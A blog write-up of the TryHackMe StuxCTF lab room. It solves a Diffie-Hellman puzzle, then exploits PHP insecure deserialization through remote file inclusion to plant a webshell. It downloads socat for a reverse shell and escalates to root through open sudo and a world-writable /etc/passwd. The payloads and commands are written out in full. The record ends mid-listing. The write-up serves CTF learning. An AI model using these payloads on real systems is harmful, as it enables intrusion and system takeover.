siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

StuxCTF | Jan 17, 2023

Introduction

Welcome to my another writeup! In this TryHackMe StuxCTF room, you’ll learn: Diffie–Hellman key exchange algorithm, exploiting PHP insecure deserialization via gadget chain and more! Without further ado, let’s dive in.

Table of Content

  1. Service Enumeration
  2. Initial Foothold
  3. Privilege Escalation: Option 1 - www to root
  4. Privilege Escalation: Option 2 - www to root
  5. Conclusion

Background

Crypto, serealization, priv scalation and more …!

Difficulty: Medium


Read user.txt and root.txt

Service Enumeration

As usual, scan the machine for open ports via rustscan!

Rustscan:

┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|20:30:09]
└> export RHOSTS=10.10.254.140
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|20:30:15]
└> rustscan --ulimit 5000 -b 4500 -t 2000 --range 1-65535 $RHOSTS -- -sC -sV -oN rustscan/rustscan.txt
[...]
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e8dab70da7a1cc8eac4b196d252b3e77 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHy6u+PbjzbKZyYYJwrdwKQPHa7m8AgiJwNQSx4Tp1IOOf2y8QZTm3/iln/TJsLNdRuOORhMymecTm0H8X+Oqq481qx5hcLb4ax88tzD/yHMYIWpgMVphjZRzvBpuYmL6tS25ltX5C8VUyIfAAp5UfmwTJTpQc6yUsf/SzA1JfHRMKYrKarm+HyiTA7Md5en7DkYf/Cc3D2RTvgmzyUEES1sWXIKlqG+Hw5Q3LBTf+x3Klv4j/nTjRnQ11uGXQUV+bf/hctQ+pd5lcOACdyvW1XDOoKVVFy794JUBZIE8KFJlDF9kDDk+/9KcXPFmwHRc7EhcvoOXI0IgdY9hHbA5v
|   256 c10c5adb6cd6a315968521e948652842 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNClIhCJbrZ4E0DajP2/THDkSRCFIIz+E4n0lwO2uwYKXLH+ZkmJfWPIS0G1imPiAl86M4waW46uhq+zd2zf7nY=
|   256 0f1a6ad1bbcba63ebd8f998dda2f3086 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPhnACR59xmsr8aznDId/sXX28PkUm6kKDeoNMHsgY3O
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry 
|_/StuxCTF/
|_http-title: Default Page
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

According to rustscan result, we have 2 ports are opened:

Open Port Service
22 OpenSSH 7.2p2 Ubuntu
80 Apache httpd 2.4.18 ((Ubuntu))

HTTP on Port 80

Adding a new host to /etc/hosts:

┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|20:30:15]
└> echo "$RHOSTS stuxctf.thm" >> /etc/hosts

robots.txt:

┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|20:32:10]
└> curl http://stuxctf.thm/robots.txt
# robots.txt generated by StuxCTF
# Diffie-Hellman
User-agent: *
Disallow: 
Disallow: /StuxCTF/

However, when we try to reach that path, the web server outputs a HTTP status 404 code:

┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|20:33:53]
└> curl http://stuxctf.thm/StuxCTF/    
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /StuxCTF/ was not found on this server.</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at stuxctf.thm Port 80</address>
</body></html>

Home page:

┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|20:33:55]
└> curl http://stuxctf.thm/        
<html>
	<head>
		<title>Default Page</title>
	</head>
	<body>
		<!-- The secret directory is...
		p: 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251;
		g: 7;
		a: 330;
		b: 450;
		g^c: 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617;
		-->
		is blank....
	</body>
</html>

Found a HTML comment!

In the room’s third question, it has this:

What is the hidden directory?

HINT: g ^ a mod p, g ^ b mod p, g ^ C mod p

first 128 characters ...

Armed with above information, it’s Diffie-Hellman algorithm. Diffie-Hellman is a key exchange protocol enables two parties communicating over public channel to establish a mutual secret without it being transmitted over the Internet. Similar to RSA encryption.

According to Wikipedia, the communication flow is:

Now, we can reverse the communication flow, as we have the shared key.

We compute the shared key this way:

To do so, I’ll write a python script:

#!/usr/bin/env python3

def main():
    p = 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251
    g = 7
    a = 330
    b = 450
    gExpc = 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617

    gca = pow(gExpc, a, p)
    gcab = pow(gca, b, p)

    # Only print first 128 characters
    print(f'Hidden directory: {str(gcab)[:128]}')

if __name__ == '__main__':
    main()
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|21:00:07]
└> python3 diffie-hellman-solve.py
Hidden directory: 47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055

Found the hidden directory!

Initial Foothold

View source page:

<!DOCTYPE html>
    <head>
        <title>StuxCTF</title>
	<meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <link rel="stylesheet" href="assets/css/bootstrap.min.css" />
        <link rel="stylesheet" href="assets/css/style.css" />
    </head>
        <body>
        <nav class="navbar navbar-default navbar-fixed-top">
          <div class="container">
            <div class="navbar-header">
              <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
                <span class="sr-only">Toggle navigation</span>
              </button>
              <a class="navbar-brand" href="index.php">Home</a>
            </div>
          </div>
        </nav>
        <!-- hint: /?file= -->
        <div class="container">
            <div class="jumbotron">
				<center>
					<h1>Follow the white rabbit..</h1>
				</center>
            </div>
        </div>            
        <script src="assets/js/jquery-1.11.3.min.js"></script>
        <script src="assets/js/bootstrap.min.js"></script>
    </body>
</html>

It seems like we can supply a GET parameter file!

┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|21:07:29]
└> curl -s http://stuxctf.thm/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/index.php --get --data-urlencode "file=test" | html2text            
File no Exist!



 Toggle navigation  Home

                    ****** Follow the white rabbit.. ******

When we provide an invalid file, it outputs File no Exist!.

How about a valid file?

┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|21:13:41]
└> curl -s http://stuxctf.thm/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/index.php --get --data-urlencode "file=/etc/passwd" | html2text  



 Toggle navigation  Home

                    ****** Follow the white rabbit.. ******

Nothing.

Now, my best guess is it’s using PHP’s include() to read local file. How about RFI (Remote File Inclusion)?

┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|21:14:43]
└> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|21:13:47]
└> curl -s http://stuxctf.thm/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/index.php --get --data-urlencode "file=http://10.9.0.253" | html2text
File no Exist!



 Toggle navigation  Home

                    ****** Follow the white rabbit.. ******
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.16|21:14:43]
└> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.254.140 - - [16/Jan/2023 21:14:58] "GET / HTTP/1.0" 200 -

It can reach to me!

Hmm… Let’s also try to read index.php, so we can get a better understanding of the file GET parameter:

┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|20:57:14]
└> curl -s http://stuxctf.thm/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/index.php --get --data-urlencode "file=index.php" | html2text
3d3d67432b384349794a47502b7757623068324c386f67507641696369786a50355232626939435067414349676f67507641696369786a5030425861794e326376776a50694d6e617534576174354363684a48647a523362764a324c7a70324c7a52585a7a4e585969307a59794e484930425861794e32633841434967414349674143494b347a4c67496e5938344464776c6d636a4e334c38346a497a706d4c756c5762754d6a4c78456a4c78305365795657647870324c7a70324c7a52585a7a4e585969307a59794e484930425861794e32633841434967414349674143494b347a4c67496e593841434967414349674143496741434967346a647052324c3841434967414349674143494b347a4c67496e5938346a647052324c38414349674143496741434967414349676f67507641696369786a507956476475563259767754434a6b51434b347a4c67496e593834544d6f39435075344364704a6d59684a48496c5258616f6448496c68476467633362737832624735544d6f7854434a6b51434a6f67507641696369786a507956476475563259386b51434a6b67432b384349794a47502b496962764a4864764a576231706d49394d336368783259675958616b784449674143496741434967414349674169432b384349794a47502b4969636c35576168526e62764e6d49394d336368783259675958616b7844496741434967414349676f67507641696369786a507430434939554762705a32507641694f303557616f42534c744543506741434967414349674169432b384349794a47502b595859753943506741434967414349674169432b384349794a47502b5958616b394350674143496741434967414349676f67507641696369786a50326c475a76774449674143496741434967414349674169432b384349794a47502b45324c3855576276686b5069414861773543656c526d62704a53506d566d636f4269496b355759794a574c79466d5932466d6269307a637a4647626a42535938414349674143496741434967414349674143494b347a4c67496e5938346a6276524864314a324c38414349674143496741434967414349674143494b347a4c67496e5938346a626842336376776a62766c47646864576132466d62675547626e64326255356a4935786d62763169637a4a53507a4e5859734e4749754647637a78444967414349674143496741434967414349674143494b347a4c67496e5938346a4979466d5932466d6269307a6373396d63303532626a315359704a58596749535a7a7857596d4a53506b56475a754647633456574c686c6d636842694979466d5932466d626a4953503056325a7946476474454764685247496955326377464762733932596930545a7364325a7652584c685258596b4269496b5632637746476273393259675547626e64326230316963684a6d6468356d49394d3363687832596749696276524864314a6d4939554763355248497539476430566e5938414349674143496741434967414349674143494b347a4c67496e5938346a497956475a6856476174495859695a5859754a53507a4e5859734e4749326c475a38414349674143496741434967414349676f67507641696369786a506949585a756c5759303532626a4a53507a4e5859734e4749326c475a384143496741434967414349674169432b384349794a47502b4943637652584c6b564765705a574c79466d5932466d626751486231466d5a6c52574c79466d5932466d6267495859695a5859754a53507a4e5859734e474932466d623841434967414349674143494b347a4c67496e59383454656b396d593841434967414349674143494b347a4c67496e593834445a6856476176774449674143494b347a4c67496e5938347a4c674979637a4e6d4c6c785765304e334c7a4e3359764d48646c4e3363684a53506d566d636f4269493056575a6f4e585a736c48647a4a535073566d6367736d62707847506741434967414349674169432b384349794a47502b384349694d33636a35696270316d4c77466d63304e486476396d59764d33636a397963305632637a466d493959575a796847496951585a6c6832636c785765304e6e493977575a79427961756c47623841434967414349674143494b347a4c67496e5938346a497830545a734632597a314362686c47647035576167774361305257613331535a6a6c6d646c5257506f52485a70646e4939516e626c526e62764e474969516e63764233646c6c6d646930545a74466d62674547646c3147506741434967414349674169432b384349794a47502b49434f74594556564a535030563263794647616a42535930565762386b67432b384349794a47502b554762306c476476776a52554e4565315233552b554762306c47643841434967414349674143494b347a4c67496e593834445a6856476138414349674169432b384349794a47502b7757623068474946425657554e3054454643504b347a4c67496e59386f67507641696369787a4f706b535a74466d6266564762705a474a6f4d486475564764753932596652585a6e39565a736c6d5a6f556d6570785759704a585a7a3557644b347a4c67496e5938306e432b384349794a4750376b534b706b534b3035575a303532626a52434973496949677779636e4647646b67535a6a46476277566d63664a48647a686963694a44627568535a6b393259755632583059545a7a466d596f59585a794a48647a6843656c686d4d756c6d59673847616a5647496741434967414349676f67507641696369787a4f704969496777694969675365684a6e6368425350674d335a6852484a6741434967414349674169432b384349794a4750376b535a74466d6266564762705a474a6f4d486475564764753932596652585a6e39565a736c6d5a673044493035575a303532626a5243496741434967414349676f67507641696369787a65704943636f426e4c3456475a756c6d493930545a74466d6266564762705a474a6f5957614b347a4c67496e59386f675076416963697854664b347a4c67496e5938736a49685133637068585267386d6267554762705a6b49673847616a5647496741434967414349676f67507641696369787a65706b535a74466d6266564762705a474a6f4d48647a6c47656c39565a736c6d5a6841694a6d41534b6c3157597539565a736c6d5a6b6743646c4e33637068695a707067507641696369787a4f6464535a736c6d5a6e734656466430586b41535067555762683532586c7857616d5269432b384349794a47504b347a4c67496e59386f675076416963697854664b347a4c67496e59383048496741434967414349676f67507641696369787a4f7045476468526d50744d58616f52484a6777535a736c6d5a2b307963706847646b6779633035575a303532626a394664314233586c7857616d42434967414349674143496741434967414349674169432b384349794a4750376c434b304e5764795233636c52325866426962766c47646a3557646d42434967414349674143494b347a4c67496e5938736a49304e585a304243637456485a69415350674547646852474a674d5761734a57647742434967414349674143494b347a4c67496e5938736a49306848647541586231526d49673044496c7857616d5243496a6c4762695648636741434967414349674169432b384349794a47503742535a736c6d5a674d3363687832594b347a4c67496e593873544b7767795a756c4764793947636c4a335879396d6379566d432b384349794a4750



 Toggle navigation  Home

                    ****** Follow the white rabbit.. ******

Bunch of hex data. Let’s use xxd to decode it:

┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|20:58:05]
└> nano index.hex

┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|20:58:21]
└> cat index.hex | xxd -r -p | rev
PGJyIC8+CmVycm9yX3JlcG9ydGluZygwKTs8YnIgLz4KY2xhc3MgZmlsZSB7PGJyIC8+CiAgICAgICAgcHVibGljICRmaWxlID0gImR1bXAudHh0Ijs8YnIgLz4KICAgICAgICBwdWJsaWMgJGRhdGEgPSAiZHVtcCB0ZXN0Ijs8YnIgLz4KICAgICAgICBmdW5jdGlvbiBfX2Rlc3RydWN0KCl7PGJyIC8+CiAgICAgICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkdGhpcy0+ZmlsZSwgJHRoaXMtPmRhdGEpOzxiciAvPgogICAgICAgIH08YnIgLz4KfTxiciAvPgo8YnIgLz4KPGJyIC8+CiRmaWxlX25hbWUgPSAkX0dFVFsnZmlsZSddOzxiciAvPgppZihpc3NldCgkZmlsZV9uYW1lKSAmJiAhZmlsZV9leGlzdHMoJGZpbGVfbmFtZSkpezxiciAvPgogICAgICAgIGVjaG8gIkZpbGUgbm8gRXhpc3QhIjs8YnIgLz4KfTxiciAvPgo8YnIgLz4KaWYoJGZpbGVfbmFtZT09ImluZGV4LnBocCIpezxiciAvPgogICAgICAgICRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGVfbmFtZSk7PGJyIC8+CiAgICAgICAgJHRhZ3MgPSBhcnJheSgiIiwgIiIpOzxiciAvPgogICAgICAgIGVjaG8gYmluMmhleChzdHJyZXYoYmFzZTY0X2VuY29kZShubDJicihzdHJfcmVwbGFjZSgkdGFncywgIiIsICRjb250ZW50KSkpKSk7PGJyIC8+Cn08YnIgLz4KdW5zZXJpYWxpemUoZmlsZV9nZXRfY29udGVudHMoJGZpbGVfbmFtZSkpOzxiciAvPgo8YnIgLz4KPCFET0NUWVBFIGh0bWw+PGJyIC8+CiAgICA8aGVhZD48YnIgLz4KICAgICAgICA8dGl0bGU+U3R1eENURjwvdGl0bGU+PGJyIC8+Cgk8bWV0YSBjaGFyc2V0PSJVVEYtOCI+PGJyIC8+CiAgICAgICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xIj48YnIgLz4KICAgICAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9ImFzc2V0cy9jc3MvYm9vdHN0cmFwLm1pbi5jc3MiIC8+PGJyIC8+CiAgICAgICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJhc3NldHMvY3NzL3N0eWxlLmNzcyIgLz48YnIgLz4KICAgIDwvaGVhZD48YnIgLz4KICAgICAgICA8Ym9keT48YnIgLz4KICAgICAgICA8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWRlZmF1bHQgbmF2YmFyLWZpeGVkLXRvcCI+PGJyIC8+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPjxiciAvPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXZiYXItaGVhZGVyIj48YnIgLz4KICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9Im5hdmJhci10b2dnbGUgY29sbGFwc2VkIiBkYXRhLXRvZ2dsZT0iY29sbGFwc2UiIGRhdGEtdGFyZ2V0PSIjbmF2YmFyIiBhcmlhLWV4cGFuZGVkPSJmYWxzZSIgYXJpYS1jb250cm9scz0ibmF2YmFyIj48YnIgLz4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzci1vbmx5Ij5Ub2dnbGUgbmF2aWdhdGlvbjwvc3Bhbj48YnIgLz4KICAgICAgICAgICAgICA8L2J1dHRvbj48YnIgLz4KICAgICAgICAgICAgICA8YSBjbGFzcz0ibmF2YmFyLWJyYW5kIiBocmVmPSJpbmRleC5waHAiPkhvbWU8L2E+PGJyIC8+CiAgICAgICAgICAgIDwvZGl2PjxiciAvPgogICAgICAgICAgPC9kaXY+PGJyIC8+CiAgICAgICAgPC9uYXY+PGJyIC8+CiAgICAgICAgPCEtLSBoaW50OiAvP2ZpbGU9IC0tPjxiciAvPgogICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+PGJyIC8+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Imp1bWJvdHJvbiI+PGJyIC8+CgkJCQk8Y2VudGVyPjxiciAvPgoJCQkJCTxoMT5Gb2xsb3cgdGhlIHdoaXRlIHJhYmJpdC4uPC9oMT48YnIgLz4KCQkJCTwvY2VudGVyPjxiciAvPgogICAgICAgICAgICA8L2Rpdj48YnIgLz4KICAgICAgICA8L2Rpdj4gICAgICAgICAgICA8YnIgLz4KICAgICAgICA8c2NyaXB0IHNyYz0iYXNzZXRzL2pzL2pxdWVyeS0xLjExLjMubWluLmpzIj48L3NjcmlwdD48YnIgLz4KICAgICAgICA8c2NyaXB0IHNyYz0iYXNzZXRzL2pzL2Jvb3RzdHJhcC5taW4uanMiPjwvc2NyaXB0PjxiciAvPgogICAgPC9ib2R5PjxiciAvPgo8L2h0bWw+PGJyIC8+Cg==

It’s a base64 encoded string! Let’s decode it again:

┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|20:58:24]
└> cat index.hex | xxd -r -p | rev | base64 -d
<br />
error_reporting(0);<br />
class file {<br />
        public $file = "dump.txt";<br />
        public $data = "dump test";<br />
        function __destruct(){<br />
                file_put_contents($this->file, $this->data);<br />
        }<br />
}<br />
<br />
<br />
$file_name = $_GET['file'];<br />
if(isset($file_name) && !file_exists($file_name)){<br />
        echo "File no Exist!";<br />
}<br />
<br />
if($file_name=="index.php"){<br />
        $content = file_get_contents($file_name);<br />
        $tags = array("", "");<br />
        echo bin2hex(strrev(base64_encode(nl2br(str_replace($tags, "", $content)))));<br />
}<br />
unserialize(file_get_contents($file_name));<br />
<br />
<!DOCTYPE html><br />
    <head><br />
        <title>StuxCTF</title><br />
	<meta charset="UTF-8"><br />
        <meta name="viewport" content="width=device-width, initial-scale=1"><br />
        <link rel="stylesheet" href="assets/css/bootstrap.min.css" /><br />
        <link rel="stylesheet" href="assets/css/style.css" /><br />
    </head><br />
        <body><br />
        <nav class="navbar navbar-default navbar-fixed-top"><br />
          <div class="container"><br />
            <div class="navbar-header"><br />
              <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"><br />
                <span class="sr-only">Toggle navigation</span><br />
              </button><br />
              <a class="navbar-brand" href="index.php">Home</a><br />
            </div><br />
          </div><br />
        </nav><br />
        <!-- hint: /?file= --><br />
        <div class="container"><br />
            <div class="jumbotron"><br />
				<center><br />
					<h1>Follow the white rabbit..</h1><br />
				</center><br />
            </div><br />
        </div>            <br />
        <script src="assets/js/jquery-1.11.3.min.js"></script><br />
        <script src="assets/js/bootstrap.min.js"></script><br />
    </body><br />
</html><br />

Beautified index.php:

<?php
error_reporting(0);
class file {
        public $file = "dump.txt";
        public $data = "dump test";
        function __destruct(){
                file_put_contents($this->file, $this->data);
        }
}

$file_name = $_GET['file'];
if(isset($file_name) && !file_exists($file_name)){
        echo "File no Exist!";
}

if($file_name=="index.php"){
        $content = file_get_contents($file_name);
        $tags = array("", "");
        echo bin2hex(strrev(base64_encode(nl2br(str_replace($tags, "", $content)))));
}
unserialize(file_get_contents($file_name));
?>

Let’s break it down!

It has a class called file, which has 2 attributes: file, data, and they are public. Also, it has a magic method __destruct(), which will be invoked when the PHP script is exited.

When the PHP script is exited, it’ll write dump.txt with data dump test to disk.

After that, we see there is a GET parameter file.

If the GET parameter file is set and the file doesn’t exist, echos out "File no Exist!".

If the GET parameter file’s value is index.php, then read index.php and encode it.

Finally, it’ll unserialize the contents of our supplied file.

Armed with above information, it’s clear that we need to exploit insecure deserialization!

  1. Using magic method __destruct() to write an evil serialized PHP, which contains a PHP webshell
  2. Unserialize our serialized PHP object, which will write the PHP webshell to disk

If you’re interested in exploiting insecure deserialization via custom gadget chain, you could read my PortSwigger Lab’s writeup.

To do so, I’ll write a PHP script to get a serialized object:

<?php
class file {
        public $file = "webshell.php";
        public $data = '<?php system($_GET["cmd"])?>';
        function __destruct(){
                file_put_contents($this->file, $this->data);
        }
}

$obj = new file;
echo serialize($obj);
?>
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|21:25:54]
└> php test.php
O:4:"file":2:{s:4:"file";s:12:"webshell.php";s:4:"data";s:28:"<?php system($_GET["cmd"])?>";}

Then, since the web application has allow_url_include, which allows the file_get_contents() can reach to our host, we can create a serialized PHP object:

┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|21:12:19]
└> nano evilObj.txt

┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|20:49:19]
└> cat evilObj.txt 
O:4:"file":2:{s:4:"file";s:12:"webshell.php";s:4:"data";s:28:"<?php system($_GET["cmd"])?>";}

After that, host the file:

┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|21:39:45]
└> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Finally, use the file parameter to read our evil serialized PHP object remotely, which will then write a parsed to __destruct() magic method, and write our PHP webshell to disk!

┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|21:32:02]
└> curl -s http://stuxctf.thm/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/index.php --get --data-urlencode "file=http://10.9.0.253/evilObj.txt"
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|21:40:06]
└> curl -s http://stuxctf.thm/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/webshell.php --get --data-urlencode "cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We have code execution!!

Let’s get a reverse shell!

┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|21:48:20]
└> socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:443
2023/01/17 21:48:24 socat[36787] N opening character device "/dev/pts/1" for reading and writing
2023/01/17 21:48:24 socat[36787] N listening on AF=2 0.0.0.0:443
┌[root♥siunam]-(/opt/static-binaries/binaries/linux/x86_64)-[2023.01.17|21:48:20]-[git://master ✗]
└> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|21:48:53]
└> curl -s http://stuxctf.thm/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/webshell.php --get --data-urlencode "cmd=wget http://10.9.0.253/socat -O /tmp/socat;chmod +x /tmp/socat;/tmp/socat TCP:10.9.0.253:443 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane"
┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|21:48:20]
└> socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:443
2023/01/17 21:48:24 socat[36787] N opening character device "/dev/pts/1" for reading and writing
2023/01/17 21:48:24 socat[36787] N listening on AF=2 0.0.0.0:443
                                                                2023/01/17 21:49:39 socat[36787] N accepting connection from AF=2 10.10.254.140:33528 on AF=2 10.9.0.253:443
                                                                2023/01/17 21:49:39 socat[36787] N starting data transfer loop with FDs [5,5] and [7,7]
                                            <2704977050807800832928198526567069446044422855055$ 
<2704977050807800832928198526567069446044422855055$ export TERM=xterm-256color                         
<2704977050807800832928198526567069446044422855055$ stty rows 22 columns
www-data@ubuntu:/var/www/html/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055$ whoami;hostname;id;ip a
www-data
ubuntu
uid=33(www-data) gid=33(www-data) groups=33(www-data)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 02:50:8e:17:fc:cb brd ff:ff:ff:ff:ff:ff
    inet 10.10.254.140/16 brd 10.10.255.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::50:8eff:fe17:fccb/64 scope link 
       valid_lft forever preferred_lft forever
www-data@ubuntu:/var/www/html/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055$ ^C
www-data@ubuntu:/var/www/html/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055$ 

I’m user www-data!

user.txt:

www-data@ubuntu:/var/www/html/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055$ cat /home/grecia/user.txt 
{Redacted}

Privilege Escalation

1. www-data to root

There are 2 ways to get root access.

Let’s do some basic enumerations!

Sudo permission:

www-data@ubuntu:/var/www/html/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055$ sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (ALL) NOPASSWD: ALL

Wait what?? User www-data can run any command as root without password?

Let’s just Switch User to root!

www-data@ubuntu:/var/www/html/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055$ sudo su root

root@ubuntu:/var/www/html/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055# whoami;hostname;id;ip a
root
ubuntu
uid=0(root) gid=0(root) groups=0(root)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 02:50:8e:17:fc:cb brd ff:ff:ff:ff:ff:ff
    inet 10.10.254.140/16 brd 10.10.255.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::50:8eff:fe17:fccb/64 scope link 
       valid_lft forever preferred_lft forever

I’m root! :D

2. www-data to root

By checking /etc/passwd file permission, I found that it’s world-writeable!

www-data@ubuntu:/var/www/html/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055$ ls -lah /etc/passwd 
-rwxrwxrwx 1 root root 1.5K Aug  8  2019 /etc/passwd

Let’s add a user that has root privilege!

┌[root♥siunam]-(~/ctf/thm/ctf/StuxCTF)-[2023.01.17|21:49:45]
└> openssl passwd password
$1$iWXmHZuf$mVNG8abIXyBrLPiCt587V1
www-data@ubuntu:/var/www/html/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055$ nano /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
